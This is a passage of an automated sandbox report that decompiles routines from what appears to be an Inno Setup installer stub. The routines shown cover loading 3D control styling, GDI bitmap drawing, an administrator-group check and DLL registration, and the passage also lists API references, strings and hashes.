CloseHandle.KERNEL32(00000000,00455C42,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,00000000,00455E7F), ref: 00455C35

Strings

_isetup\_RegDLL.tmp, xrefs: 00455A67
LoadLibrary, xrefs: 00455B97
REGDLL returned unknown result code %d, xrefs: 00455BFC
REGDLL mutex wait failed (%d, %d), xrefs: 00455B5F
Spawning _RegDLL.tmp, xrefs: 0045595C
CreateFileMapping, xrefs: 004559C3
CreateProcess, xrefs: 00455AF2
MapViewOfFile, xrefs: 004559EA
CreateMutex, xrefs: 0045598B
REGDLL failed with exit code 0x%x, xrefs: 00455B29
_RegDLL.tmp %u %u, xrefs: 00455A91
D, xrefs: 00455AAA
OleInitialize, xrefs: 00455B85
ReleaseMutex, xrefs: 00455A4A
GetProcAddress, xrefs: 00455BA9

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseCreateFileHandle$ErrorLastMutexView$LocalMappingObjectProcessReleaseSingleTimeUnmapWait
String ID: CreateFileMapping$CreateMutex$CreateProcess$D$GetProcAddress$LoadLibrary$MapViewOfFile$OleInitialize$REGDLL failed with exit code 0x%x$REGDLL mutex wait failed (%d, %d)$REGDLL returned unknown result code %d$ReleaseMutex$Spawning _RegDLL.tmp$_RegDLL.tmp %u %u$_isetup\_RegDLL.tmp
API String ID: 2549506919-351310198
Opcode ID: 0b2bddab408ae7b15021b63e8987b517896d8bad47ac0f237063c0dff8bdb0b4
Instruction ID: 710ac18db1f64c4ae3f8ffc26dedb219b859fe83e417be7d18897d92390f105f
Opcode Fuzzy Hash: 0b2bddab408ae7b15021b63e8987b517896d8bad47ac0f237063c0dff8bdb0b4
Instruction Fuzzy Hash: 7F91A470A007089BDB10EBA9C855BAEB7B4FF08305F50856BE804EB393D7789948CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041F0FC Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041F0FC() {
				int _t1;
				struct HINSTANCE__* _t2;
				intOrPtr _t4;
				struct HINSTANCE__* _t6;
				int _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t10;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t14;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t20;
				struct HINSTANCE__* _t22;
				struct HINSTANCE__* _t24;
				_Unknown_base(*)()* _t25;
				signed int _t27;

				if( *0x48e590 != 0) {
					L10:
					return _t1;
				}
				_t1 = GetVersion();
				_t30 = _t1;
				if(_t1 < 4) {
					_t1 = E00406260(_t30);
					if(_t1 < 0x59) {
						_t27 = SetErrorMode(0x8000);
						 *0x48e590 = LoadLibraryA("CTL3D32.DLL");
						_t1 = SetErrorMode(_t27 & 0x0000ffff);
					}
				}
				if( *0x48e590 < 0x20) {
					 *0x48e590 = 1;
				}
				if( *0x48e590 < 0x20) {
					goto L10;
				} else {
					_t2 =  *0x48e590; // 0x1
					 *0x48f630 = GetProcAddress(_t2, "Ctl3dRegister");
					_t4 =  *0x48f014; // 0x400000
					_push(_t4);
					if( *0x48f630() == 0) {
						_t6 =  *0x48e590; // 0x1
						_t7 = FreeLibrary(_t6);
						 *0x48e590 = 1;
						return _t7;
					}
					_t8 =  *0x48e590; // 0x1
					 *0x48f634 = GetProcAddress(_t8, "Ctl3dUnregister");
					_t10 =  *0x48e590; // 0x1
					 *0x48f638 = GetProcAddress(_t10, "Ctl3dSubclassCtl");
					_t12 =  *0x48e590; // 0x1
					 *0x48f63c = GetProcAddress(_t12, "Ctl3dSubclassDlgEx");
					_t14 =  *0x48e590; // 0x1
					 *0x48e56c = GetProcAddress(_t14, "Ctl3dDlgFramePaint");
					_t16 =  *0x48e590; // 0x1
					 *0x48e570 = GetProcAddress(_t16, "Ctl3dCtlColorEx");
					_t18 =  *0x48e590; // 0x1
					 *0x48f640 = GetProcAddress(_t18, "Ctl3dAutoSubclass");
					_t20 =  *0x48e590; // 0x1
					 *0x48f644 = GetProcAddress(_t20, "Ctl3dUnAutoSubclass");
					_t22 =  *0x48e590; // 0x1
					 *0x48f648 = GetProcAddress(_t22, "Ctl3DColorChange");
					_t24 =  *0x48e590; // 0x1
					_t25 = GetProcAddress(_t24, "BtnWndProc3d");
					 *0x48e568 = _t25;
					return _t25;
				}
			}

0x0041f104
0x0041f263
0x0041f263
0x0041f263
0x0041f10a
0x0041f10f
0x0041f114
0x0041f118
0x0041f11f
0x0041f126
0x0041f137
0x0041f140
0x0041f140
0x0041f11f
0x0041f14c
0x0041f14e
0x0041f14e
0x0041f15f
0x00000000
0x0041f165
0x0041f16a
0x0041f175
0x0041f17a
0x0041f17f
0x0041f188
0x0041f24d
0x0041f253
0x0041f258
0x00000000
0x0041f258
0x0041f193
0x0041f19e
0x0041f1a8
0x0041f1b3
0x0041f1bd
0x0041f1c8
0x0041f1d2
0x0041f1dd
0x0041f1e7
0x0041f1f2
0x0041f1fc
0x0041f207
0x0041f211
0x0041f21c
0x0041f226
0x0041f231
0x0041f23b
0x0041f241
0x0041f246
0x00000000
0x0041f246

APIs

GetVersion.KERNEL32(?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F10A
SetErrorMode.KERNEL32(00008000,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F126
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F132
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F140
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F170
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F199
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1AE
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1C3
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1D8
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F1ED
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F202
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F217
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F22C
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F241
FreeLibrary.KERNEL32(00000001,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F253

Strings

Ctl3DColorChange, xrefs: 0041F221
Ctl3dRegister, xrefs: 0041F165
Ctl3dUnAutoSubclass, xrefs: 0041F20C
Ctl3dSubclassDlgEx, xrefs: 0041F1B8
CTL3D32.DLL, xrefs: 0041F12D
BtnWndProc3d, xrefs: 0041F236
Ctl3dUnregister, xrefs: 0041F18E
Ctl3dSubclassCtl, xrefs: 0041F1A3
Ctl3dCtlColorEx, xrefs: 0041F1E2
Ctl3dAutoSubclass, xrefs: 0041F1F7
Ctl3dDlgFramePaint, xrefs: 0041F1CD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: b3af08dad27e6ffe4af7cd208f91ae4f194895235a9075dc8e0fc899b25fd7aa
Instruction ID: d9f07ed5420252f80b44eb015e678d49fa5d4c847a3f624be6496ad68d1101f5
Opcode Fuzzy Hash: b3af08dad27e6ffe4af7cd208f91ae4f194895235a9075dc8e0fc899b25fd7aa
Instruction Fuzzy Hash: 9B31F0B5600644AADF01FBE6AC469AA3694B70A3187100D3FB548DB5B2F77D44568B1C

Uniqueness

Uniqueness Score: -1.00%

Function 0041C9F0 Relevance: 33.2, APIs: 22, Instructions: 213
windowCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0041C9F0(void* __eax, int __ecx, intOrPtr __edx, char _a4, intOrPtr _a8, int _a12) {
				void* _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				struct HDC__* _v36;
				struct tagRECT _v52;
				struct HDC__* _t58;
				void* _t60;
				intOrPtr _t71;
				struct HDC__* _t72;
				struct HBRUSH__* _t105;
				intOrPtr _t125;
				intOrPtr _t136;
				intOrPtr _t137;
				intOrPtr _t138;
				int _t141;
				int _t144;
				void* _t147;
				void* _t149;
				intOrPtr _t150;

				_t147 = _t149;
				_t150 = _t149 + 0xffffffd0;
				_t144 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t125 = _a8;
				_t141 = _a12;
				_v16 = 0;
				if(_v8 != 0 || __ecx != 0 && _t141 != 0) {
					_push(0);
					L00405F1C();
					_v28 = 0;
					_t58 = _v28;
					_push(_t58);
					L00405BC4();
					_v32 = _t58;
					_push(_t147);
					_push(0x41cc46);
					_push( *[fs:eax]);
					 *[fs:eax] = _t150;
					if(_a4 == 0) {
						_push(_t141);
						_push(_t144);
						_t60 = _v28;
						_push(_t60);
						L00405BBC();
						_v16 = _t60;
					} else {
						_push(0);
						_push(1);
						_push(1);
						_push(_t141);
						_push(_t144);
						L00405BAC();
						_v16 = 0;
					}
					if(_v16 == 0) {
						E0041B378();
					}
					_v24 = SelectObject(_v32, _v16);
					_push(_t147);
					_push(0x41cbff);
					_push( *[fs:eax]);
					 *[fs:eax] = _t150;
					if(_t125 == 0) {
						PatBlt(_v32, 0, 0, _t144, _t141, 0xff0062);
					} else {
						_t105 = E0041A6C4( *((intOrPtr*)(_t125 + 0x14)));
						E0040AC1C(0, _t144, 0,  &_v52, _t141);
						FillRect(_v32,  &_v52, _t105);
						SetTextColor(_v32, E0041A03C( *((intOrPtr*)( *((intOrPtr*)(_t125 + 0xc)) + 0x10))));
						SetBkColor(_v32, E0041A03C(E0041A688( *((intOrPtr*)(_t125 + 0x14)))));
					}
					if(_v8 == 0) {
						_pop(_t136);
						 *[fs:eax] = _t136;
						_pop(_t137);
						 *[fs:eax] = _t137;
						_push(0x41cc4d);
						DeleteDC(_v32);
						_t71 = _v28;
						_push(_t71);
						_push(0);
						L00406104();
						return _t71;
					} else {
						_t72 = _v28;
						_push(_t72);
						L00405BC4();
						_v36 = _t72;
						if(_v36 == 0) {
							E0041B378();
						}
						_push(_t147);
						_push(0x41cbee);
						_push( *[fs:eax]);
						 *[fs:eax] = _t150;
						E0041C81C(_v8);
						_v20 = SelectObject(_v36, _v8);
						if(_v12 != 0) {
							_push(1);
							_push(_v12);
							_push(_v36);
							L00405D1C();
							_push(_v36);
							L00405CDC();
							_push(1);
							_push(_v12);
							_push(_v32);
							L00405D1C();
							_push(_v32);
							L00405CDC();
						}
						if(_t125 != 0) {
							SetTextColor(_v36, E0041A03C( *((intOrPtr*)( *((intOrPtr*)(_t125 + 0xc)) + 0x10))));
							SetBkColor(_v36, E0041A03C(E0041A688( *((intOrPtr*)(_t125 + 0x14)))));
						}
						_push(0xcc0020);
						_push(0);
						_push(0);
						_push(_v36);
						_push(_t141);
						_push(_t144);
						_push(0);
						_push(0);
						_push(_v32);
						L00405B9C();
						SelectObject(_v36, _v20);
						_pop(_t138);
						 *[fs:eax] = _t138;
						_push(0x41cbf5);
						return DeleteDC(_v36);
					}
				} else {
					return _v16;
				}
			}

0x0041c9f1
0x0041c9f3
0x0041c9f9
0x0041c9fb
0x0041c9fe
0x0041ca01
0x0041ca04
0x0041ca09
0x0041ca10
0x0041ca22
0x0041ca24
0x0041ca29
0x0041ca2c
0x0041ca2f
0x0041ca30
0x0041ca35
0x0041ca3a
0x0041ca3b
0x0041ca40
0x0041ca43
0x0041ca4a
0x0041ca5e
0x0041ca5f
0x0041ca60
0x0041ca63
0x0041ca64
0x0041ca69
0x0041ca4c
0x0041ca4c
0x0041ca4e
0x0041ca50
0x0041ca52
0x0041ca53
0x0041ca54
0x0041ca59
0x0041ca59
0x0041ca70
0x0041ca72
0x0041ca72
0x0041ca84
0x0041ca89
0x0041ca8a
0x0041ca8f
0x0041ca92
0x0041ca97
0x0041cafc
0x0041ca99
0x0041ca9c
0x0041caad
0x0041caba
0x0041cacf
0x0041cae6
0x0041cae6
0x0041cb05
0x0041cbf7
0x0041cbfa
0x0041cc26
0x0041cc29
0x0041cc2c
0x0041cc35
0x0041cc3a
0x0041cc3d
0x0041cc3e
0x0041cc40
0x0041cc45
0x0041cb0b
0x0041cb0b
0x0041cb0e
0x0041cb0f
0x0041cb14
0x0041cb1b
0x0041cb1d
0x0041cb1d
0x0041cb24
0x0041cb25
0x0041cb2a
0x0041cb2d
0x0041cb33
0x0041cb45
0x0041cb4c
0x0041cb4e
0x0041cb53
0x0041cb57
0x0041cb58
0x0041cb60
0x0041cb61
0x0041cb66
0x0041cb6b
0x0041cb6f
0x0041cb70
0x0041cb78
0x0041cb79
0x0041cb79
0x0041cb80
0x0041cb92
0x0041cba9
0x0041cba9
0x0041cbae
0x0041cbb3
0x0041cbb5
0x0041cbba
0x0041cbbb
0x0041cbbc
0x0041cbbd
0x0041cbbf
0x0041cbc4
0x0041cbc5
0x0041cbd2
0x0041cbd9
0x0041cbdc
0x0041cbdf
0x0041cbed
0x0041cbed
0x0041cc4d
0x0041cc56
0x0041cc56

APIs

73AFAC50.USER32(00000000,?,0041A928,?), ref: 0041CA24
73AFA590.GDI32(?,00000000,?,0041A928,?), ref: 0041CA30
73AFA410.GDI32(0041A928,?,00000001,00000001,00000000,00000000,0041CC46,?,?,00000000,?,0041A928,?), ref: 0041CA54
73AFA520.GDI32(?,0041A928,?,00000000,0041CC46,?,?,00000000,?,0041A928,?), ref: 0041CA64
SelectObject.GDI32(0041CE20,00000000), ref: 0041CA7F
FillRect.USER32 ref: 0041CABA
SetTextColor.GDI32(0041CE20,00000000), ref: 0041CACF
SetBkColor.GDI32(0041CE20,00000000), ref: 0041CAE6
PatBlt.GDI32(0041CE20,00000000,00000000,0041A928,?,00FF0062), ref: 0041CAFC
73AFA590.GDI32(?,00000000,0041CBFF,?,0041CE20,00000000,?,0041A928,?,00000000,0041CC46,?,?,00000000,?,0041A928), ref: 0041CB0F
SelectObject.GDI32(00000000,00000000), ref: 0041CB40
73AFB410.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CBEE,?,?,00000000,0041CBFF,?,0041CE20,00000000,?,0041A928), ref: 0041CB58
73AFB150.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CBEE,?,?,00000000,0041CBFF,?,0041CE20,00000000,?), ref: 0041CB61
73AFB410.GDI32(0041CE20,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CBEE,?,?,00000000,0041CBFF), ref: 0041CB70
73AFB150.GDI32(0041CE20,0041CE20,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CBEE,?,?,00000000,0041CBFF), ref: 0041CB79
SetTextColor.GDI32(00000000,00000000), ref: 0041CB92
SetBkColor.GDI32(00000000,00000000), ref: 0041CBA9
73B097E0.GDI32(0041CE20,00000000,00000000,0041A928,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CBEE,?,?,00000000), ref: 0041CBC5
SelectObject.GDI32(00000000,?), ref: 0041CBD2
DeleteDC.GDI32(00000000), ref: 0041CBE8

Part of subcall function 0041A03C: GetSysColor.USER32(?), ref: 0041A046

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Color$ObjectSelect$A590B150B410Text$A410A520B097DeleteFillRect
String ID:
API String ID: 899551383-0
Opcode ID: 23ade55fb982df19fc37e4b905b5a377efb732c78859696189b05aeeb6191a28
Instruction ID: 0bc61a8ca30a981f0d59abc380613d2dd03e2c4a36898044fbf93abba256d669
Opcode Fuzzy Hash: 23ade55fb982df19fc37e4b905b5a377efb732c78859696189b05aeeb6191a28
Instruction Fuzzy Hash: 1761F171A44608AFDF10EBE9DC86FDF77B8EF48704F10446AB504E7281D67CA9408B69

Uniqueness

Uniqueness Score: -1.00%

Function 0042DE84 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0042DE84(long __eax, void* __edi) {
				char _v5;
				void* _v12;
				signed int _v16;
				void* _v20;
				long _v24;
				void* _v28;
				intOrPtr* _t96;
				signed int _t97;
				intOrPtr _t102;
				intOrPtr _t103;
				void* _t108;
				void* _t109;
				void* _t111;
				void* _t113;
				intOrPtr _t114;

				_t111 = _t113;
				_t114 = _t113 + 0xffffffe8;
				if( *0x48e0dc == 2) {
					_v5 = 0;
					if(AllocateAndInitializeSid(0x48e788, 2, 0x20, __eax, 0, 0, 0, 0, 0, 0,  &_v12) == 0) {
						goto L26;
					} else {
						_push(_t111);
						_push(0x42e068);
						_push( *[fs:eax]);
						 *[fs:eax] = _t114;
						_t96 = 0;
						if((GetVersion() & 0x000000ff) >= 5) {
							_t96 = GetProcAddress(GetModuleHandleA("advapi32.dll"), "CheckTokenMembership");
						}
						if(_t96 == 0) {
							_v28 = 0;
							if(OpenThreadToken(GetCurrentThread(), 8, 1,  &_v20) != 0) {
								L13:
								_push(_t111);
								_push(0x42e04a);
								_push( *[fs:eax]);
								 *[fs:eax] = _t114;
								_v24 = 0;
								if(GetTokenInformation(_v20, 2, 0, 0,  &_v24) != 0 || GetLastError() == 0x7a) {
									_v28 = E00402648(_v24);
									if(GetTokenInformation(_v20, 2, _v28, _v24,  &_v24) != 0) {
										_t108 =  *_v28 - 1;
										if(_t108 >= 0) {
											_t109 = _t108 + 1;
											_t97 = 0;
											while(EqualSid(_v12,  *(_v28 + 4 + _t97 * 8)) == 0 || ( *(_v28 + 8 + _t97 * 8) & 0x00000014) != 4) {
												_t97 = _t97 + 1;
												_t109 = _t109 - 1;
												if(_t109 != 0) {
													continue;
												}
												goto L24;
											}
											_v5 = 1;
										}
										L24:
										_pop(_t102);
										 *[fs:eax] = _t102;
										_push(E0042E051);
										E00402660(_v28);
										return CloseHandle(_v20);
									} else {
										E004031D4();
										E004031D4();
										goto L26;
									}
								} else {
									E004031D4();
									E004031D4();
									goto L26;
								}
							} else {
								if(GetLastError() == 0x3f0) {
									if(OpenProcessToken(GetCurrentProcess(), 8,  &_v20) != 0) {
										goto L13;
									} else {
										E004031D4();
										goto L26;
									}
								} else {
									E004031D4();
									goto L26;
								}
							}
						} else {
							_push( &_v16);
							_push(_v12);
							_push(0);
							if( *_t96() != 0) {
								asm("sbb eax, eax");
								_v5 =  ~( ~_v16);
							}
							_pop(_t103);
							 *[fs:eax] = _t103;
							_push(E0042E06F);
							return FreeSid(_v12);
						}
					}
				} else {
					_v5 = 1;
					L26:
					return _v5;
				}
			}

0x0042de85
0x0042de87
0x0042de95
0x0042dea0
0x0042dec5
0x00000000
0x0042decb
0x0042decd
0x0042dece
0x0042ded3
0x0042ded6
0x0042ded9
0x0042dee8
0x0042deff
0x0042deff
0x0042df03
0x0042df2c
0x0042df44
0x0042df7b
0x0042df7d
0x0042df7e
0x0042df83
0x0042df86
0x0042df8b
0x0042dfa3
0x0042dfc6
0x0042dfe2
0x0042dff5
0x0042dff8
0x0042dffa
0x0042dffb
0x0042dffd
0x0042e027
0x0042e028
0x0042e029
0x00000000
0x00000000
0x00000000
0x0042e029
0x0042e021
0x0042e021
0x0042e02b
0x0042e02d
0x0042e030
0x0042e033
0x0042e03b
0x0042e049
0x0042dfe4
0x0042dfe4
0x0042dfe9
0x00000000
0x0042dfe9
0x0042dfaf
0x0042dfaf
0x0042dfb4
0x00000000
0x0042dfb4
0x0042df46
0x0042df50
0x0042df6f
0x00000000
0x0042df71
0x0042df71
0x00000000
0x0042df71
0x0042df52
0x0042df52
0x00000000
0x0042df52
0x0042df50
0x0042df05
0x0042df08
0x0042df0c
0x0042df0d
0x0042df13
0x0042df1e
0x0042df22
0x0042df22
0x0042e053
0x0042e056
0x0042e059
0x0042e067
0x0042e067
0x0042df03
0x0042de97
0x0042de97
0x0042e06f
0x0042e077
0x0042e077

APIs

AllocateAndInitializeSid.ADVAPI32(0048E788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEBE
GetVersion.KERNEL32(00000000,0042E068,?,0048E788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEDB
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E068,?,0048E788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEF4
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DEFA
FreeSid.ADVAPI32(00000000,0042E06F,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E062

Strings

advapi32.dll, xrefs: 0042DEEF
CheckTokenMembership, xrefs: 0042DEEA

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressAllocateFreeHandleInitializeModuleProcVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 1717332306-1888249752
Opcode ID: 49e19846026d07cd94ab745419e9379ea105cf0de9e7471e67da1b9712adc7ab
Instruction ID: 2f6765ec5f866ea47d282a6c21009e24887e37524e6a4a0bc91113b57b1c491d
Opcode Fuzzy Hash: 49e19846026d07cd94ab745419e9379ea105cf0de9e7471e67da1b9712adc7ab
Instruction Fuzzy Hash: F551E371B44625AEDB10EAF69C42BBF77ACDB09704F500477B900F7182D9BD9901872D

Uniqueness

Uniqueness Score: -1.00%

Function 0048D58C Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0048D58C(void* __ebx, void* __edi, void* __esi) {
				char _v5;
				char _v6;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v44;
				char _t59;
				void* _t113;
				intOrPtr _t115;
				intOrPtr _t119;
				char _t120;
				char _t124;
				char _t129;
				char _t132;
				long _t145;
				int _t149;
				intOrPtr _t171;
				intOrPtr _t178;
				intOrPtr _t179;
				intOrPtr _t181;
				intOrPtr _t184;
				intOrPtr _t187;
				intOrPtr _t193;
				intOrPtr _t194;

				_t191 = __esi;
				_t190 = __edi;
				_t193 = _t194;
				_t149 = 5;
				do {
					_push(0);
					_push(0);
					_t149 = _t149 - 1;
				} while (_t149 != 0);
				_push(__esi);
				_push(__edi);
				_push(_t193);
				_push(0x48d915);
				_push( *[fs:eax]);
				 *[fs:eax] = _t194;
				E0042D308(1, 0x48f628,  &_v36, __edi, __esi);
				if(E00406A24(_v36, 0x48d92c) != 0) {
					E0042D308(1, 0x48f628,  &_v36, __edi, __esi);
					_t59 = E00406A24(_v36, 0x48d93c);
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags = 0;
						_pop(_t171);
						 *[fs:eax] = _t171;
						_push(E0048D91C);
						return E00403438( &_v44, 7);
					} else {
						_v5 = 0;
						goto L6;
					}
				} else {
					_v5 = 1;
					L6:
					E004242A8( *0x48f628, 0x48d94c, _t190);
					ShowWindow( *( *0x48f628 + 0x20), 5);
					E00475EE8();
					_v12 = CreateMutexA(0, 0, "Inno-Setup-RegSvr-Mutex");
					ShowWindow( *( *0x48f628 + 0x20), 0);
					if(_v12 != 0) {
						do {
							E00424490( *0x48f628);
							_t145 = MsgWaitForMultipleObjects(1,  &_v12, 0, 0xffffffff, 0xff);
							_t198 = _t145 == 1;
						} while (_t145 == 1);
					}
					ShowWindow( *( *0x48f628 + 0x20), 5);
					_push(_t193);
					_push(0x48d8f3);
					_push( *[fs:eax]);
					 *[fs:eax] = _t194;
					E0042D308(0, 0x48f628,  &_v36, _t190, _t191);
					E0042C484(_v36, 0x48f628,  &_v20, 0x48d974, _t190, _t191, _t198);
					E0042D308(0, 0x48f628,  &_v36, _t190, _t191);
					E0042C484(_v36, 0x48f628,  &_v24, 0x48d984, _t190, _t191, _t198);
					if(E0042CC44(_v24) == 0) {
						E00406EE8(_v24);
						E00406EE8(_v20);
						_push(_t193);
						_push( *[fs:eax]);
						 *[fs:eax] = _t194;
						E0048D4E8(0x48f628,  &_v24, _t190, _t191, __eflags);
						_pop(_t178);
						 *[fs:eax] = _t178;
						_t179 = 0x48d8c3;
						 *[fs:eax] = _t179;
						_push(E0048D8FA);
						__eflags = _v12;
						if(_v12 != 0) {
							ReleaseMutex(_v12);
							return CloseHandle(_v12);
						}
						return 0;
					} else {
						E004504F8(_v20, 0x48f628, 0, 0, _t190, _t191);
						_t181 =  *0x48fdbc; // 0x22f2d78
						E004242A8( *0x48f628, _t181, _t190);
						_push(_t193);
						_push(0x48d88f);
						_push( *[fs:eax]);
						 *[fs:eax] = _t194;
						E00473F64(0x48f628, _t181, _t190, _t191);
						_v16 = E0044F788(1, 1, 0, 2);
						_push(_t193);
						_push(0x48d875);
						_push( *[fs:eax]);
						 *[fs:eax] = _t194;
						while(E0044FA1C(_v16) == 0) {
							E0044FA2C(_v16, 0x48f628,  &_v28, _t190, _t191);
							_t113 = E0040358C(_v28);
							__eflags = _t113 - 4;
							if(_t113 > 4) {
								__eflags =  *_v28 - 0x5b;
								if( *_v28 == 0x5b) {
									_t115 = _v28;
									__eflags =  *((char*)(_t115 + 3)) - 0x5d;
									if( *((char*)(_t115 + 3)) == 0x5d) {
										E00403790(_v28, 0x7fffffff, 5,  &_v32);
										_t119 = _v28;
										__eflags =  *((char*)(_t119 + 2)) - 0x71;
										if( *((char*)(_t119 + 2)) == 0x71) {
											L17:
											_t120 = 1;
										} else {
											__eflags = _v5;
											if(_v5 == 0) {
												L16:
												_t120 = 0;
											} else {
												__eflags =  *0x490232;
												if( *0x490232 == 0) {
													goto L17;
												} else {
													goto L16;
												}
											}
										}
										_v6 = _t120;
										_push(_t193);
										_push(0x48d7e5);
										_push( *[fs:eax]);
										 *[fs:eax] = _t194;
										_t124 =  *((intOrPtr*)(_v28 + 1)) - 0x53;
										__eflags = _t124;
										if(_t124 == 0) {
											E00455E10(0, 0x48f628, _v32, 1, _t190, _t191, _v6);
										} else {
											_t129 = _t124 - 1;
											__eflags = _t129;
											if(_t129 == 0) {
												__eflags = 0;
												E00455FD0(0, 0x48f628, _v32, _t190, _t191, 0);
											} else {
												_t132 = _t129 - 0x1f;
												__eflags = _t132;
												if(_t132 == 0) {
													E00455E10(0, 0x48f628, _v32, 0, _t190, _t191, _v6);
												} else {
													__eflags = _t132 == 1;
													if(_t132 == 1) {
														E0045456C(_v32, 0x48f628, _t190, _t191);
													}
												}
											}
										}
										_pop(_t187);
										 *[fs:eax] = _t187;
									}
								}
							}
						}
						_pop(_t184);
						 *[fs:eax] = _t184;
						_push(E0048D87C);
						return E00402B70(_v16);
					}
				}
			}

0x0048d58c
0x0048d58c
0x0048d58d
0x0048d58f
0x0048d594
0x0048d594
0x0048d596
0x0048d598
0x0048d598
0x0048d59c
0x0048d59d
0x0048d5a5
0x0048d5a6
0x0048d5ab
0x0048d5ae
0x0048d5b9
0x0048d5cd
0x0048d5dd
0x0048d5ea
0x0048d5ef
0x0048d5f1
0x0048d8fa
0x0048d8fc
0x0048d8ff
0x0048d902
0x0048d914
0x0048d5f7
0x0048d5f7
0x00000000
0x0048d5f7
0x0048d5cf
0x0048d5cf
0x0048d5fb
0x0048d602
0x0048d60f
0x0048d614
0x0048d627
0x0048d632
0x0048d63b
0x0048d63d
0x0048d63f
0x0048d653
0x0048d658
0x0048d658
0x0048d63d
0x0048d663
0x0048d66a
0x0048d66b
0x0048d670
0x0048d673
